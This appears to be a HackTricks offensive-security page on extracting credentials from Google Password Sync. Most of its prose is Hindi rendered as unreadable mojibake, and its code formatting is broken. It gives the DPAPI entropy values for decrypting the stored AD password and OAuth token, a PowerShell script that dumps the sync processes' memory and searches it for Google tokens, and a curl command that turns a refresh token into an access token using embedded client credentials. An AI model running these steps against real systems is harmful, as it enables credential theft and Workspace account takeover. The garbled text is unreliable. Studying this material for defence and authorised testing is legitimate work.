GPS - Google Password Sync

Support HackTricks

Basic Information

рдпрд╣ рд╡рд╣ рдмрд╛рдЗрдирд░реА рдФрд░ рд╕реЗрд╡рд╛ рд╣реИ рдЬреЛ Google рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛рдУрдВ рдХреЗ рдкрд╛рд╕рд╡рд░реНрдб рдХреЛ AD рдФрд░ Workspace рдХреЗ рдмреАрдЪ рд╕рд┐рдВрдХ рдореЗрдВ рд░рдЦрдиреЗ рдХреЗ рд▓рд┐рдП рдкреНрд░рджрд╛рди рдХрд░рддрд╛ рд╣реИред рд╣рд░ рдмрд╛рд░ рдЬрдм рдПрдХ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ AD рдореЗрдВ рдЕрдкрдирд╛ рдкрд╛рд╕рд╡рд░реНрдб рдмрджрд▓рддрд╛ рд╣реИ, рддреЛ рдЗрд╕реЗ Google рдкрд░ рд╕реЗрдЯ рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИред

рдпрд╣ C:\Program Files\Google\Password Sync рдореЗрдВ рд╕реНрдерд╛рдкрд┐рдд рд╣реЛрддрд╛ рд╣реИ рдЬрд╣рд╛рдБ рдЖрдк рдЗрд╕реЗ рдХреЙрдиреНрдлрд╝рд┐рдЧрд░ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдмрд╛рдЗрдирд░реА PasswordSync.exe рдФрд░ password_sync_service.exe (рд╕реЗрд╡рд╛ рдЬреЛ рдЪрд▓рддреА рд░рд╣реЗрдЧреА) рдкрд╛ рд╕рдХрддреЗ рд╣реИрдВред

GPS - Configuration

рдЗрд╕ рдмрд╛рдЗрдирд░реА (рдФрд░ рд╕реЗрд╡рд╛) рдХреЛ рдХреЙрдиреНрдлрд╝рд┐рдЧрд░ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП, рдЗрд╕реЗ Workspace рдореЗрдВ рдПрдХ рд╕реБрдкрд░ рдПрдбрдорд┐рди рдкреНрд░рд┐рдВрд╕рд┐рдкрд▓ рддрдХ рдкрд╣реБрдВрдЪ рджреЗрдирд╛ рдЖрд╡рд╢реНрдпрдХ рд╣реИ:

  • Google рдХреЗ рд╕рд╛рде OAuth рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рд▓реЙрдЧрд┐рди рдХрд░реЗрдВ рдФрд░ рдлрд┐рд░ рдпрд╣ рдкрдВрдЬреАрдХрд░рдг рдореЗрдВ рдПрдХ рдЯреЛрдХрди (рдПрдиреНрдХреНрд░рд┐рдкреНрдЯреЗрдб) рд╕реНрдЯреЛрд░ рдХрд░реЗрдЧрд╛

  • рдХреЗрд╡рд▓ GUI рдХреЗ рд╕рд╛рде рдбреЛрдореЗрди рдХрдВрдЯреНрд░реЛрд▓рд░реНрд╕ рдореЗрдВ рдЙрдкрд▓рдмреНрдз

  • Workspace рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛рдУрдВ рдХреЛ рдкреНрд░рдмрдВрдзрд┐рдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП GCP рд╕реЗ рдХреБрдЫ Service Account рдХреНрд░реЗрдбреЗрдВрд╢рд┐рдпрд▓реНрд╕ (json рдлрд╝рд╛рдЗрд▓) рджреЗрдирд╛

  • рдмрд╣реБрдд рдмреБрд░рд╛ рд╡рд┐рдЪрд╛рд░ рдХреНрдпреЛрдВрдХрд┐ рдпреЗ рдХреНрд░реЗрдбреЗрдВрд╢рд┐рдпрд▓ рдХрднреА рд╕рдорд╛рдкреНрдд рдирд╣реАрдВ рд╣реЛрддреЗ рдФрд░ рдЗрд╕рдХрд╛ рджреБрд░реБрдкрдпреЛрдЧ рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИ

  • Workspace рдкрд░ SA рдХреЛ рдПрдХреНрд╕реЗрд╕ рджреЗрдирд╛ рдмрд╣реБрдд рдмреБрд░рд╛ рд╡рд┐рдЪрд╛рд░ рд╣реИ рдХреНрдпреЛрдВрдХрд┐ SA GCP рдореЗрдВ рд╕рдордЭреМрддрд╛ рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИ рдФрд░ Workspace рдкрд░ рдкрд┐рд╡рдЯ рдХрд░рдирд╛ рд╕рдВрднрд╡ рд╣реЛрдЧрд╛

  • Google рдЗрд╕реЗ GUI рдХреЗ рдмрд┐рдирд╛ рдбреЛрдореЗрди рдирд┐рдпрдВрддреНрд░рд┐рдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдЖрд╡рд╢реНрдпрдХ рдХрд░рддрд╛ рд╣реИ

  • рдпреЗ рдХреНрд░реЗрдбреЗрдВрд╢рд┐рдпрд▓реНрд╕ рднреА рдкрдВрдЬреАрдХрд░рдг рдореЗрдВ рд╕реНрдЯреЛрд░ рд╣реЛрддреЗ рд╣реИрдВ

AD рдХреЗ рд╕рдВрдмрдВрдз рдореЗрдВ, рдпрд╣ рд╡рд░реНрддрдорд╛рди рдПрдкреНрд▓рд┐рдХреЗрд╢рди рд╕рдВрджрд░реНрдн, рдЧреБрдордирд╛рдо рдпрд╛ рдХреБрдЫ рд╡рд┐рд╢рд┐рд╖реНрдЯ рдХреНрд░реЗрдбреЗрдВрд╢рд┐рдпрд▓реНрд╕ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдЗрдВрдЧрд┐рдд рдХрд░рдирд╛ рд╕рдВрднрд╡ рд╣реИред рдпрджрд┐ рдХреНрд░реЗрдбреЗрдВрд╢рд┐рдпрд▓реНрд╕ рд╡рд┐рдХрд▓реНрдк рдЪреБрдирд╛ рдЧрдпрд╛ рд╣реИ, рддреЛ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдирд╛рдо рдПрдХ рдлрд╝рд╛рдЗрд▓ рдореЗрдВ рдбрд┐рд╕реНрдХ рдХреЗ рдЕрдВрджрд░ рд╕реНрдЯреЛрд░ рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ рдФрд░ рдкрд╛рд╕рд╡рд░реНрдб рдПрдиреНрдХреНрд░рд┐рдкреНрдЯреЗрдб рд╣реЛрддрд╛ рд╣реИ рдФрд░ рдкрдВрдЬреАрдХрд░рдг рдореЗрдВ рд╕реНрдЯреЛрд░ рд╣реЛрддрд╛ рд╣реИред

GPS - Dumping password and token from disk

Note that Winpeas is capable to detect GPS, get information about the configuration and even decrypt the password and token.

рдлрд╝рд╛рдЗрд▓ C:\ProgramData\Google\Google Apps Password Sync\config.xml рдореЗрдВ рдпрд╣ рд╕рдВрднрд╡ рд╣реИ рдХрд┐ baseDN рдХрд╛ рдПрдХ рднрд╛рдЧ рдкрд╛рдпрд╛ рдЬрд╛рдП рдЬреЛ AD рдХреЗ рд▓рд┐рдП рдХреЙрдиреНрдлрд╝рд┐рдЧрд░ рдХрд┐рдпрд╛ рдЧрдпрд╛ рд╣реИ рдФрд░ username рдЬрд┐рд╕рдХрд╛ рдХреНрд░реЗрдбреЗрдВрд╢рд┐рдпрд▓реНрд╕ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд┐рдпрд╛ рдЬрд╛ рд░рд╣рд╛ рд╣реИред

рдкрдВрдЬреАрдХрд░рдг HKLM\Software\Google\Google Apps Password Sync рдореЗрдВ рдПрдиреНрдХреНрд░рд┐рдкреНрдЯреЗрдб рд░рд┐рдлреНрд░реЗрд╢ рдЯреЛрдХрди рдФрд░ рдПрдиреНрдХреНрд░рд┐рдкреНрдЯреЗрдб рдкрд╛рд╕рд╡рд░реНрдб AD рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдХреЗ рд▓рд┐рдП (рдпрджрд┐ рдХреЛрдИ рд╣реЛ) рдкрд╛рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИред рдЗрд╕рдХреЗ рдЕрд▓рд╛рд╡рд╛, рдпрджрд┐ рдЯреЛрдХрди рдХреЗ рдмрдЬрд╛рдп рдХреБрдЫ SA рдХреНрд░реЗрдбреЗрдВрд╢рд┐рдпрд▓реНрд╕ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ, рддреЛ рдпрд╣ рднреА рд╕рдВрднрд╡ рд╣реИ рдХрд┐ рдЙрдиреНрд╣реЗрдВ рдЙрд╕ рдкрдВрдЬреАрдХрд░рдг рдкрддреЗ рдореЗрдВ рдПрдиреНрдХреНрд░рд┐рдкреНрдЯреЗрдб рдкрд╛рдпрд╛ рдЬрд╛рдПред рдЗрд╕ рдкрдВрдЬреАрдХрд░рдг рдХреЗ рдЕрдВрджрд░ рдорд╛рди рдХреЗрд╡рд▓ рдкреНрд░рд╢рд╛рд╕рдХреЛрдВ рджреНрд╡рд╛рд░рд╛ рдкрд╣реБрдБрдЪ рдпреЛрдЧреНрдп рд╣реЛрддреЗ рд╣реИрдВред

рдПрдиреНрдХреНрд░рд┐рдкреНрдЯреЗрдб рдкрд╛рд╕рд╡рд░реНрдб (рдпрджрд┐ рдХреЛрдИ рд╣реЛ) рдХреБрдВрдЬреА ADPassword рдХреЗ рдЕрдВрджрд░ рд╣реИ рдФрд░ рдЗрд╕реЗ CryptProtectData API рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рдПрдиреНрдХреНрд░рд┐рдкреНрдЯ рдХрд┐рдпрд╛ рдЧрдпрд╛ рд╣реИред рдЗрд╕реЗ рдбрд┐рдХреНрд░рд┐рдкреНрдЯ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП, рдЖрдкрдХреЛ рдЙрд╕реА рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рд╣реЛрдирд╛ рдЪрд╛рд╣рд┐рдП рдЬрд┐рд╕рдиреЗ рдкрд╛рд╕рд╡рд░реНрдб рд╕рд┐рдВрдХ рдХреЛ рдХреЙрдиреНрдлрд╝рд┐рдЧрд░ рдХрд┐рдпрд╛ рдерд╛ рдФрд░ CryptUnprotectData рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рддреЗ рд╕рдордп рдЗрд╕ entropy рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдирд╛ рдЪрд╛рд╣рд┐рдП: byte[] entropyBytes = new byte[] { 0xda, 0xfc, 0xb2, 0x8d, 0xa0, 0xd5, 0xa8, 0x7c, 0x88, 0x8b, 0x29, 0x51, 0x34, 0xcb, 0xae, 0xe9 };

рдПрдиреНрдХреНрд░рд┐рдкреНрдЯреЗрдб рдЯреЛрдХрди (рдпрджрд┐ рдХреЛрдИ рд╣реЛ) рдХреБрдВрдЬреА AuthToken рдХреЗ рдЕрдВрджрд░ рд╣реИ рдФрд░ рдЗрд╕реЗ CryptProtectData API рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рдПрдиреНрдХреНрд░рд┐рдкреНрдЯ рдХрд┐рдпрд╛ рдЧрдпрд╛ рд╣реИред рдЗрд╕реЗ рдбрд┐рдХреНрд░рд┐рдкреНрдЯ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП, рдЖрдкрдХреЛ рдЙрд╕реА рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рд╣реЛрдирд╛ рдЪрд╛рд╣рд┐рдП рдЬрд┐рд╕рдиреЗ рдкрд╛рд╕рд╡рд░реНрдб рд╕рд┐рдВрдХ рдХреЛ рдХреЙрдиреНрдлрд╝рд┐рдЧрд░ рдХрд┐рдпрд╛ рдерд╛ рдФрд░ CryptUnprotectData рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рддреЗ рд╕рдордп рдЗрд╕ entropy рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдирд╛ рдЪрд╛рд╣рд┐рдП: byte[] entropyBytes = new byte[] { 0x00, 0x14, 0x0b, 0x7e, 0x8b, 0x18, 0x8f, 0x7e, 0xc5, 0xf2, 0x2d, 0x6e, 0xdb, 0x95, 0xb8, 0x5b }; рдЗрд╕рдХреЗ рдЕрд▓рд╛рд╡рд╛, рдЗрд╕реЗ 0123456789abcdefghijklmnopqrstv рд╢рдмреНрджрдХреЛрд╢ рдХреЗ рд╕рд╛рде base32hex рдореЗрдВ рднреА рдПрдиреНрдХреЛрдб рдХрд┐рдпрд╛ рдЧрдпрд╛ рд╣реИред

Entropy рдорд╛рдиреЛрдВ рдХреЛ рдЯреВрд▓ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рдкрд╛рдпрд╛ рдЧрдпрд╛ред рдЗрд╕реЗ CryptUnprotectData рдФрд░ CryptProtectData рдХреЗ рд▓рд┐рдП рдХреЙрд▓ рдХреА рдирд┐рдЧрд░рд╛рдиреА рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдХреЙрдиреНрдлрд╝рд┐рдЧрд░ рдХрд┐рдпрд╛ рдЧрдпрд╛ рдерд╛ рдФрд░ рдлрд┐рд░ рдЯреВрд▓ рдХрд╛ рдЙрдкрдпреЛрдЧ PasswordSync.exe рдХреЛ рд▓реЙрдиреНрдЪ рдФрд░ рдореЙрдирд┐рдЯрд░ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдХрд┐рдпрд╛ рдЧрдпрд╛ рдЬреЛ рдХреЙрдиреНрдлрд╝рд┐рдЧрд░ рдХрд┐рдП рдЧрдП рдкрд╛рд╕рд╡рд░реНрдб рдФрд░ рдСрде рдЯреЛрдХрди рдХреЛ рд╢реБрд░реВ рдореЗрдВ рдбрд┐рдХреНрд░рд┐рдкреНрдЯ рдХрд░реЗрдЧрд╛ рдФрд░ рдЯреВрд▓ рджреЛрдиреЛрдВ рдорд╛рдорд▓реЛрдВ рдореЗрдВ рдЙрдкрдпреЛрдЧ рдХреА рдЧрдИ рдПрдВрдЯреНрд░реЙрдкреА рдХреЗ рд▓рд┐рдП рдорд╛рди рджрд┐рдЦрд╛рдПрдЧрд╛:

рдзреНрдпрд╛рди рджреЗрдВ рдХрд┐ рдЗрди APIs рдХреЗ рд▓рд┐рдП рдХреЙрд▓ рдХреЗ рдЗрдирдкреБрдЯ рдпрд╛ рдЖрдЙрдЯрдкреБрдЯ рдореЗрдВ рдбрд┐рдХреНрд░рд┐рдкреНрдЯреЗрдб рдорд╛рди рднреА рджреЗрдЦрдирд╛ рд╕рдВрднрд╡ рд╣реИ (рдпрджрд┐ рдХрд┐рд╕реА рдмрд┐рдВрджреБ рдкрд░ Winpeas рдХрд╛рдо рдХрд░рдирд╛ рдмрдВрдж рдХрд░ рджреЗ)ред

рдпрджрд┐ рдкрд╛рд╕рд╡рд░реНрдб рд╕рд┐рдВрдХ SA рдХреНрд░реЗрдбреЗрдВрд╢рд┐рдпрд▓реНрд╕ рдХреЗ рд╕рд╛рде рдХреЙрдиреНрдлрд╝рд┐рдЧрд░ рдХрд┐рдпрд╛ рдЧрдпрд╛ рдерд╛, рддреЛ рдпрд╣ рднреА рдкрдВрдЬреАрдХрд░рдг HKLM\Software\Google\Google Apps Password Sync рдХреЗ рдЕрдВрджрд░ рдХреБрдВрдЬрд┐рдпреЛрдВ рдореЗрдВ рд╕реНрдЯреЛрд░ рдХрд┐рдпрд╛ рдЬрд╛рдПрдЧрд╛ред

GPS - Dumping tokens from memory

GCPW рдХреА рддрд░рд╣, PasswordSync.exe рдФрд░ password_sync_service.exe рдкреНрд░рдХреНрд░рд┐рдпрд╛рдУрдВ рдХреА рдореЗрдореЛрд░реА рдХреЛ рдбрдВрдк рдХрд░рдирд╛ рд╕рдВрднрд╡ рд╣реИ рдФрд░ рдЖрдк рд░рд┐рдлреНрд░реЗрд╢ рдФрд░ рдПрдХреНрд╕реЗрд╕ рдЯреЛрдХрди (рдпрджрд┐ рдкрд╣рд▓реЗ рд╕реЗ рдЙрддреНрдкрдиреНрди рд╣реЛ рдЪреБрдХреЗ рд╣реИрдВ) рдкрд╛ рд╕рдХреЗрдВрдЧреЗред рдореБрдЭреЗ рд▓рдЧрддрд╛ рд╣реИ рдХрд┐ рдЖрдк AD рдХреЙрдиреНрдлрд╝рд┐рдЧрд░ рдХрд┐рдП рдЧрдП рдХреНрд░реЗрдбреЗрдВрд╢рд┐рдпрд▓реНрд╕ рднреА рдкрд╛ рд╕рдХрддреЗ рд╣реИрдВред

Dump PasswordSync.exe and the password_sync_service.exe processes and search tokens

```powershell # Define paths for Procdump and Strings utilities $procdumpPath = "C:\Users\carlos-local\Downloads\SysinternalsSuite\procdump.exe" $stringsPath = "C:\Users\carlos-local\Downloads\SysinternalsSuite\strings.exe" $dumpFolder = "C:\Users\Public\dumps"

Regular expressions for tokens

$tokenRegexes = @( "ya29.[a-zA-Z0-9_.-]{50,}", "1//[a-zA-Z0-9_.-]{50,}" )

Show EULA if it wasn't accepted yet for strings

$stringsPath

Create a directory for the dumps if it doesn't exist

if (!(Test-Path $dumpFolder)) { New-Item -Path $dumpFolder -ItemType Directory }

Get all Chrome process IDs

$processNames = @("PasswordSync", "password_sync_service") $chromeProcesses = Get-Process | Where-Object { $processNames -contains $_.Name } | Select-Object -ExpandProperty Id

Dump each Chrome process

foreach ($processId in $chromeProcesses) { Write-Output "Dumping process with PID: $processId" & $procdumpPath -accepteula -ma $processId "$dumpFolder\chrome_$processId.dmp" }

Extract strings and search for tokens in each dump

Get-ChildItem $dumpFolder -Filter "*.dmp" | ForEach-Object { $dumpFile = $.FullName $baseName = $.BaseName $asciiStringsFile = "$dumpFolder${baseName}_ascii_strings.txt" $unicodeStringsFile = "$dumpFolder${baseName}_unicode_strings.txt"

Write-Output "Extracting strings from $dumpFile" & $stringsPath -accepteula -n 50 -nobanner $dumpFile > $asciiStringsFile & $stringsPath -n 50 -nobanner -u $dumpFile > $unicodeStringsFile

$outputFiles = @($asciiStringsFile, $unicodeStringsFile)

foreach ($file in $outputFiles) { foreach ($regex in $tokenRegexes) {

$matches = Select-String -Path $file -Pattern $regex -AllMatches

$uniqueMatches = @{}

foreach ($matchInfo in $matches) { foreach ($match in $matchInfo.Matches) { $matchValue = $match.Value if (-not $uniqueMatches.ContainsKey($matchValue)) { $uniqueMatches[$matchValue] = @{ LineNumber = $matchInfo.LineNumber LineText = $matchInfo.Line.Trim() FilePath = $matchInfo.Path } } } }

foreach ($matchValue in $uniqueMatches.Keys) { $info = $uniqueMatches[$matchValue] Write-Output "Match found in file '$($info.FilePath)' on line $($info.LineNumber): $($info.LineText)" } }

Write-Output "" } }

</details>

### GPS - рд░рд┐рдлреНрд░реЗрд╢ рдЯреЛрдХрди рд╕реЗ рдПрдХреНрд╕реЗрд╕ рдЯреЛрдХрди рдЙрддреНрдкрдиреНрди рдХрд░рдирд╛

рд░рд┐рдлреНрд░реЗрд╢ рдЯреЛрдХрди рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ, рдЗрд╕реЗ рдФрд░ рдирд┐рдореНрдирд▓рд┐рдЦрд┐рдд рдХрдорд╛рдВрдб рдореЗрдВ рдирд┐рд░реНрджрд┐рд╖реНрдЯ рдХреНрд▓рд╛рдЗрдВрдЯ рдЖрдИрдбреА рдФрд░ рдХреНрд▓рд╛рдЗрдВрдЯ рд╕реАрдХреНрд░реЗрдЯ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рдПрдХреНрд╕реЗрд╕ рдЯреЛрдХрди рдЙрддреНрдкрдиреНрди рдХрд░рдирд╛ рд╕рдВрднрд╡ рд╣реИ:
```bash
curl -s --data "client_id=812788789386-chamdrfrhd1doebsrcigpkb3subl7f6l.apps.googleusercontent.com" \
--data "client_secret=4YBz5h_U12lBHjf4JqRQoQjA" \
--data "grant_type=refresh_token" \
--data "refresh_token=1//03pJpHDWuak63CgYIARAAGAMSNwF-L9IrfLo73ERp20Un2c9KlYDznWhKJOuyXOzHM6oJaO9mqkBx79LjKOdskVrRDGgvzSCJY78" \
https://www.googleapis.com/oauth2/v4/token

GPS - Scopes

рдзреНрдпрд╛рди рджреЗрдВ рдХрд┐ рд░рд┐рдлреНрд░реЗрд╢ рдЯреЛрдХрди рд╣реЛрдиреЗ рдХреЗ рдмрд╛рд╡рдЬреВрдж, рдЖрдк рдПрдХреНрд╕реЗрд╕ рдЯреЛрдХрди рдХреЗ рд▓рд┐рдП рдХрд┐рд╕реА рднреА рд╕реНрдХреЛрдк рдХрд╛ рдЕрдиреБрд░реЛрдз рдирд╣реАрдВ рдХрд░ рд╕рдХрддреЗ рдХреНрдпреЛрдВрдХрд┐ рдЖрдк рдХреЗрд╡рд▓ рдЙрди рд╕реНрдХреЛрдк рдХрд╛ рдЕрдиреБрд░реЛрдз рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ рдЬреЛ рдЙрд╕ рдПрдкреНрд▓рд┐рдХреЗрд╢рди рджреНрд╡рд╛рд░рд╛ рд╕рдорд░реНрдерд┐рдд рд╣реИрдВ рдЬрд╣рд╛рдВ рдЖрдк рдПрдХреНрд╕реЗрд╕ рдЯреЛрдХрди рдЙрддреНрдкрдиреНрди рдХрд░ рд░рд╣реЗ рд╣реИрдВред

рдЗрд╕рдХреЗ рдЕрд▓рд╛рд╡рд╛, рд░рд┐рдлреНрд░реЗрд╢ рдЯреЛрдХрди рд╣рд░ рдПрдкреНрд▓рд┐рдХреЗрд╢рди рдореЗрдВ рдорд╛рдиреНрдп рдирд╣реАрдВ рд╣реИред

рдбрд┐рдлрд╝реЙрд▓реНрдЯ рд░реВрдк рд╕реЗ GPS рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдХреЗ рд░реВрдк рдореЗрдВ рд╣рд░ рд╕рдВрднрд╛рд╡рд┐рдд OAuth рд╕реНрдХреЛрдк рддрдХ рдкрд╣реБрдВрдЪ рдирд╣реАрдВ рд╣реЛрдЧреА, рдЗрд╕рд▓рд┐рдП рдирд┐рдореНрдирд▓рд┐рдЦрд┐рдд рд╕реНрдХреНрд░рд┐рдкреНрдЯ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рд╣рдо рдЙрди рд╕реНрдХреЛрдк рдХреЛ рдЦреЛрдЬ рд╕рдХрддреЗ рд╣реИрдВ рдЬрд┐рдиреНрд╣реЗрдВ refresh_token рдХреЗ рд╕рд╛рде access_token рдЙрддреНрдкрдиреНрди рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдЙрдкрдпреЛрдЧ рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИ:

Last updated